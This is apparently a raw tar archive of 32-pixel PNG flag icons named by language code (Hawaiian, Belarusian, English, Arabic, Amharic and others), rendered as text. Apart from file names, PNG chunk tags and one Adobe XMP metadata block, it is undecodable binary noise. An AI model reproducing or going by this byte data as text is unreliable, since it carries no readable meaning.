XL�������)��r�B�耷�@�@+�4Ts�z{<�]�>�.�������ͳ-1�4�:���x|�Y��B ��}�$�ܸ��UR��Q�=n�ŪO~1�����X��a.��9X��V4�����И3Is�|f���� �D��/%��$�˗Ut�i�b]���z�*+��'�w��z	K}�ieW��3ܜR�:��ĘβÎ��t��;� ��?o��x��jBc:��>�{�|�s���lw�����,j�7�_'�f���?�vs�nd�mpw���f%��_�_�����t,IF9]Dǒd���r�>���1�u�!�+�k��ݖ�^[�VQ0�9Z)���"p�L���$MEF�U�\�3�ZB0�ƭ��q�pW�_�1[��R��sp}���@;��C�!DW � ��K��Bx��m�w�2�9�g�IEND�B`�lang/32/haw.png000064400000001620151721413470007202 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���Y�atEXtSoftwarepaint.net 4.0.12Ck�IDATXGŖ�KTQ��\+�r�-�Q�	�B**i#"E��(*�KH�Pi�MJűHQ!M���q�Fw�2�q-5Z�i�m*o�N�y��y�9�{�y�=�0(�"�0�l�(�	��&D5610<�b외�l��Z�nL�onH¡Pn���ń
��H����V�d����`V]�/j�0�L���
�kP%�C�j{�d�h�" �z��bL��w�j���+ �I����QW������U�<d�ȇ2 �o���
-�%�B��2Wn�!=&}�5z����5P�X��
�j��C���p>FӲ��*5=�|�^NBi`�����ڊ&Pt�u�c���%�
�64a���������8
��>:�/����i��ߨ5r�x-U��Q��"��ȷڅl���2��g��إ�6;/���….�f�}Q���Μz�M��s���H���<f*�:�
��-�������X
k���
eB����)Aq"�����W"�\K���!)VH���ە��/�r�[X62��`�M��'�/��;p��S|��FX$j� k�$��(�;&�GB!���8R��!�웆���g1�F�]b���7�B����^m��J-9:Md섺un��0��Vc^M����
�Z��Q3�ނCϓ�q�+3T�:��ĉ^���|z�B��l]V�mCA�Mt���E�`L�E���[kJ�����S�?),�� u˼
�Dr�;�����O�ME6aلQdF�ME��X���¸�IEND�B`�lang/32/be.png000064400000001533151721413470007014 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KkQ�w�&31ɴ�֪���*.ĕ����(�~!W���Pĥ�	(�/t!-
�kRm4&�׽�E���VW�n<p������6S6Y�P�x�}#���������{v�"YX�z�_������L�40$qHy�,�ޠ89�*��O���n`H�D��A��?�w�6�lS��o]�<h��v��
 �<
 I��	C�_D�	�5��:g����.� Iп�\k���0�/����|���s�'	�<%�؏t;���`M@<;K���i61����c�Q�}zd��v�JU�p�a��� q�ǖ3��^��<uU,`۝^��̞-+�)/5�_ˮ�W�"��O��33�={�^��0��n���'��"ڬ�[���&}�H�����K_�ɵIbp�L(�8^qu���4��(p��>�d�3��j5T�AZ������z���Zא��J��(�S'�>xH��	��S�
���L��ƿ�,eIL�$q����v�o��I���`W���A�L��>��|�;R�|�#W�r�f!��N��{��q�S�:�x`��Ja�5`��K1��+�0�N��sŐ�L
�H�1H��r�eg
�V2��T�6��T*د�8�j�lL!�fnùy*;Lj^��;|�d~_�s�+0�H��G����q����ʙ�Q�p�`Z�ިޛ���7R"���?N7��]ի�W-�IEND�B`�lang/32/en.png000064400000003347151721413470007035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��}p���ٻK�$GD�	0M  M�(j
�ڌI�h�l�[�NǑR-6Ć�0mC�Fl�$ED�`�)$��!)� MB���r�w�{����0�����|��>��*"­�[,_(@��H�!
H��۽W3������ݝl�Rυ�b\��I����s��hQf�D����*�}F/D��Q<��N��O�{��d����W_�>�$������
��j�DK�Ř��kRg܋�}.V4�f̘���� �p��N�z�m�!���%�19P�K�Ϡ����*?^LJ�d~x
#Fdp�	|}�!J%`v^M��uvzQ0A��A�]Ϟ�D�'��lĖ?����Q�R�r5��~X}��kf16�$Ww���<�Q
G���A���v�DtuV(�bF�.�����N��y�F2��\>{לbҦO����nmLd���u�k�1^g4��Y�q�8�o&t�Y��({�̚5]��Ft�@����u=d2s�T�N�P�w���#kM9iӧaD,����#ttx����d����x�s�d��xv�?7�*
�������G-Љ����,��7x�r��_�VPȈ����l��|<��u��}}aL3%Z ����78y��򖋬\�-���Õ��ͧ�t!S����nY��l�`���v�c\�XAW���ZA��0-���nv�|����(��@��7��o*>�~�›�{f6l�����χ�JGMv�(1�D�cz{I.�AfA!ڰ!44���XV$,�@��x!���V���z%)Q��~��WAE���y��8S�`��M4����(
�͆`��ݓ�O�/��u�0.@D"�q�����7*�1�i�>��������F�+m@�{��#��q]IBM��g`C�R}����0�b�zs��ÔQ(�h������4�!��	_k��]�,YtOt�$x�
���1"���$Vn�H0D����v�q��Kw͸v��ݮ$*�a��6�EE�c�̿ߡ���/��t)���DЉkD�T9�x�t<����u��jG	)."~DL�$	,��K��?>�w�1��3Ivhtm��?x��wж�m�O�-X,AD��XUW��[�����~��5��\���
/s�n�_��e适aXq�\M["N��d�t]�H�|��>2_Zl��6���Qqf�	,�&�6ivdK�#[�����,�c�TV�~�y��J��7Y.�o��?�+N�
�ٖ��8�۶-��v9Y�R��pއ���uu<un8+��B��np�B&�廙7�Wtv��vy'��L)�3�	*G��r�bҳ\	;�QWJ{�Zi&U<��ʡ�>���J�	,��`Q�\*cǮ���ĭ��.i��Ks�ˑ=
�*@���q;.tpa�Ө������T��R�� ����|���[�)�8{"
'{�^��%
TUeժ�<��QR�m��-��X���V��|���˯�ҹa#�ƣWlga�	���c��lx<z|��x<|>or@Ƴi�^O�}�&L��}�1�o�W�"
p0�o˻�SJ�^i�e�yK�)_���j�_RP=�IEND�B`�lang/32/en-ca.png000064400000001755151721413470007417 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FsIDATx���oU�w<��i%iC��b!XA@lh6��cŢB���� ���B��
;Ċǒ
�TXDi	�c{�y�{��ǎNJ�*��H��=���~�q�(�4���	�/��� t����R�O��8����t�3�7�]`N9�7�x�K���	0��Q�=h�+K��R��ߝ+����Bx.� �	���t�0��k\1� �l���PZ�9^�W)#yh�t|�ۙ�@��	����F���`M��1ئ���F@om�?O��;x������]YT�]�'*�`�뷑N�H���N���v�>����ff��tF�E�hl�G�L�^5h^�E7?��;��«�����q��H^��n#a�5	ze���C���_�������	��܋+4n��]^�r�y��y찢"�Jk�� �6ǣ���|��� @�]�~#���Ѹ��/�J��o6��?:�q�zY��C���2fg����g��1�h�߉PZ\ĭ-a���eJ33�$�`X�ۣ�q�����J����. I|����ϰ�����@YI�$fw�W_e����_mr�}���TR_������$6yq� �����~�Ե��SŴx��v�w���j�"x"H���
e�H����*gׯ��gʗ/�</��0$�w���WP�j?��D���r@kp�~鍱���x��wPU��ߒmw�U$�~�p���εb�cz���~K��ͩ�Q�zG#X�S�X������;*�-:Q �P�����c�D�HJ�������k��c𬕌����f��c-tfn��%�%`��;�*�'�I�'i!�RO~NO���+��o�IEND�B`�lang/32/ha.png000064400000001201151721413470007006 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��M��@���=�)!!���q�,8�'� q8
�-�D�_����E�����d3�)��~��UuW��;����3r`P�s��^~��e�g�������v�E�qs��F�d||����u����
0*�A2%���r��ul�q|����;s�yu=�J��07�(S�E�6�2�*@Te���6�����Җ����V,b��6�<�I� �\��9�j��j�r���΁M�rŲ/�q7)6XbV-���j��Q���Ս��*󰠬e6URDNV`�����nFK̂���s��"y���@4�x9=~����I �n�[/�pԅ�{!p�z��p��I��gS�݉�yj³�o4
�Ct���-{8�c�Z�T��k,�{��5�9*�Q@ɽ������'T�']8O�E0�-o��\���oC���^���8L���&�I']��T��7gn���~kN�L���&�w%�C��oIEND�B`�lang/32/ar.png000064400000002710151721413470007026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FNIDATx��YlTe����33�2�i��V�eu��(��HԸE1.!Ƹ��W�Dc�׮�[�	��p��%qk�
Z���R�PZ�Ng9s�/fJ��X�)7|ɟs.�������{�1��9.�
DJ��xP�����m1�ﷄ`�ד����-��?�s�G��������Z�>���D9�1�R� �cY���Z�<�}n|�x��Q�� �h�q�GA����O�e�,��Cc̏��o������]�(��p��e��a�[p�� ��CS���%#����Yp�	���ERI��K�?�g��&67�'�h=�-#GQZ��idݢ�X1o?v����'dJ��F�+ �&�����<Mڪ%͋W�ભ����C��d� N"tt���!����-Mwb[�:� �-N��W~�c~vzT@Cu�V��c{h��B��KY�O������џ���Q��|��t?��C(2R�qe�@)2^7��0�M��p��m=_cT��\,N����TGb$�T�Ul���qӢ5���rE=˔�F��@�%c^/�'z�0�h���sS�?�qy�r��}�D�h�IDbhcX��
�9��p�t�^�Q;°;
�3qvA�%���@jE��'����9��8��;@":�����*��y9�#8��_g�X�aaU=c�����&�f�x�~�L!�,(�  �gY�_�hʆ��3$c��U-d��pb���h�DE���?��U�i��+}mCG���B�����X�J"�Bi=y̍�y�$
����wk�i^����c�Jp|��C���f)7��p���TU�g�D!��J��Jb�A=ya��@�rٺ�v"���^������Ǚ�Q�T�������!�^�.�������&(��'`RK�j�Mut�6>�ޣ���4�M���}/sCj-������;����7�>!�eХ�?�@ ��m�51<&�M���.�v��Ⱥ{�U���]l�p��:��STW&xl�<��~~�9�/��1vh��?^��|۶��LkY�/}�=�<{��ll�ȁ��Jw�+Im�]�_����8;��?��(���.���q8�C�y��n�/[ͺ�M�I^��MضM_��Tte{y�׏P€p����;��Zg��7l����I�9�������D�؜i��ftwB�.#P4!�h������
��c�9�
 ��	Z�2� �#�3��D� \Qv�V�w�N�k&(�!��̮'.և�`P;˶|8"J���u6�2�����&������o$&IEND�B`�lang/32/lt.png000064400000001060151721413470007040 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엱nA���;�I�	E/@CGOE�s�0t)xj�<(6�nwf(�l_��&���jN��?;�]qwNi�����HS����z��,�$����X�����Xֽ�
t�w�����W�'���x�,�;�E��x�
Z���=gAh�&`�
��>��x_�a��}z��%��
I��^��^7=@1e�����@7Z����m��2ьL4�Η�L��-���*ݒ�o�=�'�ϪT)�\��<P��&L�@VE�1��C�1=�|��T�R�%���an�K�(�1ߏ�B��&TáW ��{�7>3sǻ�6�����vV
�u�B h)��M���q	@M���"�_tb��� �����j�W��+��T�+�5�"�Z��"�b#����8=5�����"J�2�IEND�B`�lang/32/fy.png000064400000002215151721413470007042 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���$tEXtSoftwarepaint.net 4.0.12Ck��IDATXG�U{�Tu��QEDB�&�ԖFڮkk>J�,��bSY6V��?
��A�k��n�����:�Î�.�;�hߺs���;�;������4���
�g>�|�}���\UJ����XHJ����XH�Gz+v�qm�n\S"�e{PQ�A�0U&����Mp��:i�����C���]�N_wHtv@y~&�-U��PT��TO�:�� ��›^WZ+o(���D�n���~��oB�ބ��F�5�ᮥ�zל��c`\w�I���O@��,�h'������d>�ޏ8�u�����yA�����Js����s�ǝK�y	Dj�c���,JfC]T�p,��^??�������s�.�Y	�����ر#�w‡�_��@�x�q�_�ou�mZ��<=~<���F��>��Ύ�'�rT6L��y��h;���!�n?�>��u�F�`��6"R�
�H��D�>�[��M��i'��"r#���L-��QΏ8q�+s��M�
�8�{L�8"�>����ۧڀ�RQj����#� ޺p/ojN�ҁ����!�����jv7�d�xk�����؆D_�q5��?HE�On��T�K�&�]_3;�0}�Q�^������w:$�����y�D���ϛ&̤���K�Ƀ���N���vN�C�ܸ�r��Ed����|�en7�
h���ԟ�K�`�'�B�H��~���Y��'��Ď7�?c�͕yg������q�˯ؿA�&�,}��7�C�..��_Y `�*z;{�;�O�Svßm�zԘR���W�R�;�3/�!��*���W��;�&�M(�"�~�f�e����Tm\�����������|YP�Z�7�,������\
�+v:��ș�&����;�,83̏R-��Іu��G`4ɝV,��+/����#2a*Y�
9���s��(z���9�	\Qd���@�HX�gA(y�'�^ëJi���Ii���Ii�p��l�r4�f?�IEND�B`�lang/32/lo.png000064400000001615151721413470007041 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��ˋU���v�t&3��P�q\Dp!�n�"4"�Nt�ƭ]��Ѕ��.UW��@҉�F��3&NO?���蚙�q�ۍ5�(nQuι_��S�U�0-��R +�:-�מ�5�/��?Y2@[������u~{�:@������씥���LEd��2���/i/�-2��0G�bש�;h�=S���//�y�O�sb�׳��:�����}tӢ��%�#+�G#>(�^Ao`g0׀*��#<�@~[��bsYZV׌6쭀��~A�ƪZ$FN�|�SO��Ԟ��V΅/�p������U�Gc��q��eX�}�.�E�=o���>�؄�R{��O?N�4���;d��c1*΍����n��-�+�%e��w������3�9���ֶ��9�:Ap>���� �\�^������H�������;"�չ�O0I2����i,���d� w��"���
��^������ʼn&�Ͽ��CĤ�D���xu��2%���-&�TG䨺Ԥ\��ᥟ*���7���&��K���mBQ.ΐgj�|�kz�k/�`a�	@�W�y�̷�F���}�l�$t�	gH2�y�ox�'V�p���؄V?3�'� 5)��P;�0-ظ��W77�޵<�M�
λ=�o~@��D��z�H��YVwHb��T��b�{UU�F�0��E�����0ĒpF��v�[�&,�8���,�7�_�<,�c�V�r�pz��-����V~\IEND�B`�lang/32/ht.png000064400000003714151721413470007044 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c" xmpMM:DocumentID="xmp.did:B70E79DC72A711E2B39F813E88FD8345" xmpMM:InstanceID="xmp.iid:B70E79DB72A711E2B39F813E88FD8345" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4D4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>&쫭�IDATx��W;hA�f�K���QI5�EAEE	�V���lm�R-��b!H��*bc����;��������^n�6�l�nnvv�����cRJ�gѰ��?FU����4�����wfhN��5�F��?ٮ�hÉC[R0�q^5-
@��e�������Ud�
��>���;������0�Y0�:��ل�* c��vهM �(����D��|���e�+�T��Nj�ګ�c��#~��m% ���T��+
J%/��:��A^�����:V�O��("��E�\����݀�̖�fVa�v�ɶ$=��d\��xp�mZvVR�U�Y�{:p��~p&���M���ټ����1�=�r]���:)�7Q(12��w��}1�I��=�A���/)����ӊ�0S�(΍Y-�j,SAϨ�U��i0�,�F���%l�6¶�p��S9�
�:q��;���A��!gM���ZV;LS��Yxi�
Z�ﬥ	���*���a�x���&��@��Eܚ��F���1�h1
h��U0��]�D-<�O߿`h��^��oc&�Nu�%�m}��/��sp'�EBИkT-P��Z:ֺ��0��^^���]���`ҡ&?v���C��p��I[)Y�T���P�R�DS�.�/4��`#��	���F{M�,���T΁.����,�yq"�\#��b7�z
A����ě`�
i����g��k-�Ʃ�F_&�>�1WƈHP�	M'iݐ�<ND�b*��xŊ\�p�,�p��?��E,$�>�6e+w���d�:l�_k�}~�
�J�Aҫ�R1�;a�W�7S�ڑ��p���?A>j�,�(��N��48��=1'�IEND�B`�lang/32/eu.png000064400000002420151721413470007033 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�IDATx��W[hU�f��&�l.Mh�c��$�TD(Q��B�B1)�����P�� ��^h$ڊ�"��Rl�-��Pim.&k������̜�?3;3��F|���������9+躎�.��@ r�K�Z��࡟h��܂錐�c��4s�]�:zlonxpMy�%�{��涰�z�7���F �?v�'J�ݢC_(�o:���,	�m���n|{kZ؍%����L
ɖ"RE	<+��|����8/�!ǜ3�I.S-}Յ�-�����MuP�d�G�z!1�E�v]Hc)��G,����F���0v_��5�7��R��^,�2
�|��&[S������?��mz7h�����'�J�s��䷅e����'���<��g���@Ό�dă��X�p$y{�KKv^Π/�*�`
PT0Y�O�������|s��$=�Ba�-�fI��F&61���]+�=��M�њ![�9Eq0�B�H"k0�.d�>��Ho�a���x�'��Ίx��F6{	��\�7��4��)c�9~U7�;+�P�����sR�����D�:B�޺ۋ�*�k"�E��
28��2�&ۉo+��<��P���B�B��\��B�n@��TU��l��@Dz��N.���K��7��iЕ�]	�E��z��h4�ٳ�nj5�4M��%�԰��6�������j��pi<2��~INywkG
`+4=��*��G�T|�$kx�$�g�w���q.$
��%��h!(�ه���9��$hC���\^A]�9[���SǑ�Q(����RT��R�)#��p:���@+&[�`�mQ����0<��
��x��m�N|��j�B�e� [��:4�����FohB�'T�續�Og���I)�
@ zbb���E�3q�����o��t
su^<M(?슙��Dn���~I���kFWeV9]I����l�t�)�%�\8�`#TU�BY�H��� �*���4�%
/Pu��H_#�+S�yo�|u|���1#��1���uW���w3�^7��E{۴��J!\$'��k�nԑ*rCS��
�X�:+-���� �2dŌɠ;�0���x�L��ǑTj/-e��n �!j7��6�ne:�����j\���P�OPWz�r�ޟn�9]o�0
��#
E^IEND�B`�lang/32/uz.png000064400000001317151721413470007064 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FUIDATx��MkA�����ML���
�q�؃7�ī�ÛxD��{�䐳�U��9#1Q�]73����a�&B�d�C^(�j���jުn�g�2N( J]�'H4P��x�g�Ϊ�(3�G�j�8ץك��k��գ�3��J�P�A�1;u�;7��Tx����F�5�:_-�y�ɥ���-�e_w��}��
P�@�:O�X"#ܿy���^��X���llG|߉�~g�@�w/Ϊ}r����8��M,���bȇ�-v�1�I*}�2W!6��Bm��_�����t,gω�Ŋ�R��Fh'Om��K�D�)�0�_���&��B`��P�#J�~D,�Y�l�ă{׸z�B�����p�ߊ,m#��D��2�|������q~��<�Őɱ"�(%1r��l6��ܮi��zLA�x�/Y���O�gK�
x�C�J�Nf��A`��^Ρ�k/	ʐ�a/�x:�z�3��A$k)�:��P(��N�h<���w��x�E\V��1}����4��ΓkD��F�ed(8hn�rn��+`�S9��M��	&�>O$@K�|N�M�aa���;IEND�B`�lang/32/km.png000064400000002035151721413470007033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KoE�=�]�z�f��%P�A("p	B؆3D�P�7�)�!�A��7 �'�8�J@<��������8�xg�v� ��%-�jԪ��w������p����
�V�9,�@���?��C)�ן]���+޸��B�y`%Z�
��2���@,��4U�1�j��6sk��V�mrmZ���in����Os���@[G6�dS�a�Q[��D�Í��"�B��C�����|ukqq�K��k��5���wQax���n�E�5.M�l���	D�4�1�_{���;���&D�y�� EѨ����e楜��	:;[���%����e�c�(��������ZW2N��@��%Ie��Ƣ,�
c�/������)�o�	N�㭭᭭��c~�O�~���۴^z���M���w� �IM�i2�]yAt�,���C��*��gX�ٞѽ�5��
�.^DE-�ׯ����_P��(�߯`&M��v��u�+h]z���A�$��g\��+rd2�(Ip�! �{��!4`-8w�r)D)��.v4$<s��_�,�GE�jG��#����@߻���C�B�|6ې�=����i�2zW��_YōbT��K�y%u֖e��A-�q���UzW�AҬ��Ѷy4J��*]Ҍ����o�R��(߫�H��RxQT��)7F>�M��G�ͷx�%�nd�1A����o�����2���rW���Xր�s(�(kPa���M�^���o�4K�3�`�����I�Ł��Bgm��ut�T�qn��-�15��D������y���Lu�!����8������8q�,�*L��9׸�+Q����@���8�ĭ�*`x8���?��MЫ�"G�Փ��I�w��%�_�IEND�B`�lang/32/la.png000064400000001524151721413470007022 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��MkQ��{g��w��Ѣ"�RD�
"��Ε�@��ν��ƍ�T\�����]	*-Hm-�MƤ3����贙T#N�����g�y�sN��0�Ќ9�(���/���¯WV��߂*�?�|��Wj��Ag2�.@n�Y����� !�V�������leo����N		2�`�BH"�v�nd�#��:�`���t�ob?;�΀�}�`�\a
ǭ�E	���f�T	Db}Ly��[Į�x�`}t���PJ�� �k@)M�H��H�y�#�Ϩ�q���˟��}��%��@�Ǝ첥�����Y�\z�j�_��Us�q�����C)g7@��D;��9�b�4N��_ݤr�4N�qoP�̓>���W
�H���6�m���I�xy�
�����2�<�-=C�S�̿-
�8�"�ц���%��#bU"��%�_"t��mick4�(�O'%��8����C��_�/^D�y���'��V���T��;��f�&N����3C���.��(�@:!��Z�:e�K/�J`����l;@
Di7��k�{�C�=-��4�^�z�$�k8zj@��#�z���ֆ;����mih�.�Q�����ٕ��,���ךʝۃ%�d@�hF0[�x(
`��@�	��j�FT	�����C,���6@��g�����s*�,���03F���q���eVYIEND�B`�lang/32/ceb.png000064400000001704151721413470007157 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FJIDATx��OhTG�?3�����U�Gh�	A�-�`���֛ )���E)�*[��*�K@�R̡�4E�� �ƨ(mi!
˒��M��{ofzx/q]b(�Mr�������~3�Z�F�d��9�����i�:��ˍ��#�D��	��������v�nz���:��
������m������Ç�$��M����:��B<���ϩ][?��}�$�]�K�Zرc3}}�x�&SS��nbM��TB����l����6.�db�o'��Q��u��ԙ�8~� CC㌎�A))���d]�1�Q=�C:�2<|!d��)T�+D}��Eo��d��T
I&݆�}@0j'�0>���$��p��U
��Dc��Z?C��=	,�����{��ο�'�y�`
'�iɛ�+�ŹUm	|]����ވ��*���.�n^�+����Ʈ�]u��QJ��
�0y��x�ltv�L���p��/���?� 3�lY��"���}�
�
P�@uE��o1��:��i@�0�р�!�� �8����hLu>��ⱏ	�Dx-��
�'Ƙ(�$zc���&;!�I��/?�L��-X��5NX�A�4��Y�g��p�{�Na+D:
ZӌD`Õb����g�u�$C�R�^	��>�O?��or�L�\��>hS�t8�!�.L�L�o�ʵ1��J�Ka�H]�ꗄ��3���?��l��f�%��jh���K��	��ȗ_lrȗ9����u��>"����5���ilv/��L��M��Ӫ@Y<�n4��OV���L�IEND�B`�lang/32/ku.png000064400000001552151721413470007046 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���$tEXtSoftwarepaint.net 4.0.12Ck��IDATXG�VYkSQ�_�(.�� ⃊��.(����_AD�TDPp{�5i��Emj[!�6�-mڦ�1i���37&�ssoPo>�r��=g�̜��u���%�N/itzI��K����v�� �g�dUȧ,�6�@9Yi`��؃7e�O���T��{�o�̈6��QY�HF�����a칬.�,��Zʂ:��)��@�jۨӻ�\�{���y�)ʋ]��#@�e���>m�O�ڷ��@�Y�J~�
��ɞ�c��3��?;A�7���l�i��ym���-���Fg�P�.��^~|ЩՁ��3�o6�w��*k���] �4�9�0�|�7Լ���J\�rP`5��o�ڵ
���|��%\S�:dZ�����V�j�_�����B�S�Q��}D�*c�J6-w�"�X��P��_�K,`�9`%}�8[u��]	�c|��=��������z���A�ցf8g@a�)�v	�M�E��s�c2�\��Պ<fu=��C�d��[�ɐnA
��=��A��. ;�"�q:p�G�~��ԲL�ѺN��K����-���K{2��V���Y9��#KIT���r�z���P��gmt�;�aY��:�M�P� ��T-��4t��{������'�V/(���%�Ͳր����PN!7���]��"j��ԕF��4:����%�N/itzG4�����qIEND�B`�lang/32/uk.png000064400000001076151721413470007047 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n�0@��)+e�w���G�ȇ�O|w�!��$ڒn�Ğq���-�{�\Ǔ�y����sHi8�<�Unk�C<y��ӏ�H]Ӌ���X�F8}u���,~�??{�S��c����`��dΠ������PF��]Q\~[�=}��Q
`�����V1I��Z�h�uTn*��Q}�jl���BC�\0$s�~d3�J��w�:]����Ð{��Xm�����>�g*A��Rt����t��<�� �ӥD4�b�15� ���k�|��b���d���޴n	����.p�^��f�&�0[(�ȎԶ/M�*/�t�����H�)��������H��ca�_L��d�3ׄ�zO����f���0�r\��z@��gբ4�h*��-�rY��,�Np�ۚ2�<\N
�k�y
��IEND�B`�lang/32/hy.png000064400000001117151721413470007044 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���A���t6q7 ��>�/ >��>�'��Y��IP71�LwW���&3�fOҹl]f(j菪�j���9�NlL�Y��i
������O�T>_���G`!!p��E����o��\R�n�ܶ��0nS����ߎ���R0�ŷ
޴��c���s��N\�B.Dׂ5
�4u�6��7k|��r�ǀi@[��u\�M���7<�X�\�y��>�r1V�Ķ-CP���o�=��U,��7sr�CJ1��D�J7�+�H�C��wb�f�����e��6J�Vg�@����g�ȥ�4��*E
�:ˉ��%Ȋ�NU�0�+w܍�����z�0�W�9��T��d������$��{����`�*x�Z��v@�@�j&��[����f��7d6��{5�_7��蒮<�O*W��Y�;�E��i-������hm7V��IEND�B`�lang/32/vi.png000064400000001462151721413470007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��=kQ��33;��čA;E�*�����*��^�,{��X�?�N�BT�b%��1������X̮�]w�l3ir`��sw�s��wDU9Ȉ8�8 ��Xgx�H��?67w�k�/©�O��I�x�r���_�4 �Т �Z0��H9N�Td|�4O�wb^�l��Y�s�1�1�T�Ơ%%���^����g�e@!t�$h4������y1���&	87�=�n��J����U:����+���y^�E
H�vA@�Z��
E1��ә)BI��C˫q:�Cz6`>F�=I!�e6|0�j-t:�j�jQ�,\r��0H���\i��;9���h_��$���1����Ρ���g��p9t�A����3�`5�Ue��s�����w`-DѸ\�����~\W��5,]+�:�3~=XD}��
㕕=��x!�/���
2>�m��PM�ޗ9�۱:W
��%���轎齉�߮���3$��N�#Q��麧qβ�p�?�3VoVo�������;apUE+,lX�o.��lP*v���좥ؒJ~��9H��;����̇��^&d���~�\�	�a�(��1�2��}oZsF>��=����@PEj���V Z^�
b�`�բ�(�pXN�|,�	|��7��`�3
�-��
�wţ�)cz�gIEND�B`�lang/32/fa.png000064400000001251151721413470007011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F/IDATx��;kTA�g��]��,"�h���o`cea�����O!�`g�wP;��H`-�F�n���DZ�f��%��ɿ��{������r�0�2���j�(,0��ţ����RZ�����^�@ۈp���A��:qo?��o¢�[��ж@3h��͢������-�!r��yJ���k$�%yp�8?�%.z,@��ܗ侬�@j,.�}^�.'sE-�B�-��2�>?��_��
⣣�+G9(�z`ff�hEHd����m���%����Β\��i�N��s�?!�6�����O�w�'O�\]�Ġ;}� � i�f��=y�XL�E���$C��
fj
d��fT���;���ֿP�}���Wh^`o\']\ ��ߕC�P'�����v���;���}-?�M�BP�#@�9�b�d	�E�f�A��!i:����F��'
?�\������bIS�1�1�k��U��Q��25NȱjFf����c����P#��"���]�!*��ڪu$��-pX.�<���z\��:Q�r�8=m��_V��B�IEND�B`�lang/32/bs.png000064400000002503151721413470007030 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[lU�����ޅ"Z�J������hAH�ZD�R
&��Cbb�DA􁤠1�@b�%i|���I�Z)6���v�r�vi��V*^���ɜ����3�hJ)dxx��x�@*��p��<��P����u�Y,嗦N���"E�����<�O�o~�j<�ƙo���\����9�LJǰ9�ҩ
��M�S4Ԇ�ʴ���8��j���>  �i
Z:"4�GЀ�Y�T�O��-�'�Sض>L^��c��rP��,��N�!0M�H!I$l�Ԁa
,(��|�,(�jW����)��!Pf
��ؼ�1�u	��r�l'I��k�~���ǵH?	�揮L�.ePw�z� �J�D����bq���5,≓!N�0o�����~g�A��W;(�B؞	��B)�X�BX�����A<n;��n\�h˂�8B��@�=?�{;��β'DBi
���X���%���(�q�����y\��AO�t�3y�|��Y�M���xL	���A�rY`=�,�є�Ril���fʟ.fM�<N���]&v���8�彣YO)�c&��[H�Q�JдT�(�U+�X�z�qxgw��*�l��Ʊ��I($�!����]��-�m��_�t���
� >�l{�ZH�?S�����%�P��|�aU�>�Ğ˱��m;��࢙�m(���m�^o��?RT0�e��%P�t�9�\���� ��p��jח�qC������מ�w0��o��cB8
+e��f*%�rb��i�P��x"ʹP!/6��w 
��m��D�bĂ�i;/[BbY���T-��Ɨ+8�E+�=����4��Q5qӂ���O�0е�,��J��J��[I�R#c�ul�������+��lYE_4
��)��T�fpl�B8�iHR�[�ʅ�so����im�
_GJh??��[���?�����8#�rw\�2c&�h,]2�M��4k!��©OO1�����(���ؖ�=�?i���f��8�v �`S}%��?˦�JZÅ�ܲ��h���H�I�+�д���@�y!+�dw$��fR��se�֕���Oh�6L@��p9;;��W����Ĉ���3��P�W���o��~���]���2�x����'�Q�P���5�%L+
PS]�
X�yI�婕���yY�\�R{��T��a��ps��	�;#~*t�ί�IEND�B`�lang/32/am.png000064400000002050151721413470007016 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��=lE�3�{��Gl��#"�Q����Q�D)B!%5
H�� $h(S �%@ 

+$E�#B
���
